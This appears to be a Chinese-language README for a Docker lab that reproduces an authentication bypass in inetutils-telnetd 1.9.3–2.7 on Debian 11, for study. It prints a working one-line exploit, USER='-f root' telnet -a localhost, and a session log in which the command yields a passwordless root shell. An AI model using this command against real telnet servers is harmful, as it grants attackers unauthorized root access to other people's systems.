一个用于研究 inetutils-telnetd 1.9.3 - 2.7 中认证绕过漏洞的小型实验环境,该漏洞已在 oss-sec 邮件列表中披露。[0]
此容器依赖于 Debian 11 (Bullseye) 中 inetutils-telnetd 仍为易受攻击版本这一事实。在创建此环境时,其版本为:
root@ba8cc6858b87:/# apt search inetutils-telnetd
Sorting... Done
Full Text Search... Done
inetutils-telnetd/oldoldstable 2:2.0-1+deb11u2 arm64
telnet server
使用 docker build -t telnetd-exploit . 克隆并构建容器。
使用 docker run --rm -it telnetd-exploit 运行容器。将显示一条消息,展示 PoC。
docker run --rm -it telnetd-exploit
Starting internet superserver: inetd.
You are user1. Try telnet as root with: USER='-f root' telnet -a localhost
user1@114102afa5d3:/$
一次成功的运行看起来大致如下:
user1@114102afa5d3:/$ USER='-f root' telnet -a localhost
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 6.17.8 (114102afa5d3) (pts/1)
Linux 114102afa5d3 6.17.8 #1 SMP PREEMPT Thu Nov 20 09:34:02 UTC 2025 aarch64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@114102afa5d3:~#